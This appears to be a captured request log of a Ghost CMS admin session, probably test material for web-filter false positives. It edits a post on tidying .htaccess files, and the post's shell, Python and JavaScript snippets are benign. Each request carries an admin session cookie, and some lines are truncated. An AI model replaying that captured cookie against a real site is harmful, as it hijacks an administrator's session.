{"method": "GET", "target": "/ghost/assets/use-sending-eta-ifdScs48.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/nql-BKk2g5D7.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/nql-lang-BhvCNMUQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3A%5Bpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/stats/posts-member-counts/", "headers": ["Host: example.com", "Content-Length: 40", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"postIds\":[\"6af45710d281b00001a598a4\"]}"}
{"method": "GET", "target": "/ghost/api/admin/themes/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/images/upload/", "headers": ["Host: example.com", "Content-Length: 508", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZpp0PMguEumdZ1a8", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "------WebKitFormBoundaryZpp0PMguEumdZ1a8\r\nContent-Disposition: form-data; name=\"file\"; filename=\"feature.png\"\r\nContent-Type: image/png\r\n\r\niVBORw0KGgoAAAANSUhEUgAAAHgAAABQCAIAAABd+SbeAAAAqElEQVR4nO3QAQkAIADAMOOYycTGsoXCHTzA2dhr6kLj+cEngQbdCjToVqBBtwINuhVo0K1Ag24FGnQr0KBbgQbdCjToVqBBtwINuhVo0K1Ag24FGnQr0KBbgQbdCjToVqBBtwINuhVo0K1Ag24FGnQr0KBbgQbdCjToVqBBtwINuhVo0K1Ag24FGnQr0KBbgQbdCjToVqBBtwINuhVo0K1Ag24FGnSrAwedWdHCzExoAAAAAElFTkSuQmCC\r\n------WebKitFormBoundaryZpp0PMguEumdZ1a8\r\nContent-Disposition: form-data; name=\"purpose\"\r\n\r\nimage\r\n------WebKitFormBoundaryZpp0PMguEumdZ1a8--\r\n"}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8057", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "GET", "target": "/content/images/2026/11/feature.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=tags.name%3A%7E%27PowerShell%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8088", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=tags.name%3A%7E%27python3%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8119", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=tags.name%3A%7E%27Shell+tips+%26+.htaccess%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8168", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting 